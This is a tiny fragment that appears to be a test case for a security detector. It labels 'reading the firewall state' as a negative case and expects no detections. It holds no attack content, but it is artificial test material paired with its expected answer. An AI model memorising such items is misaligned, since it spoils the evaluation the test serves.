  description: "negative: reading the firewall state"
  expect_ids: []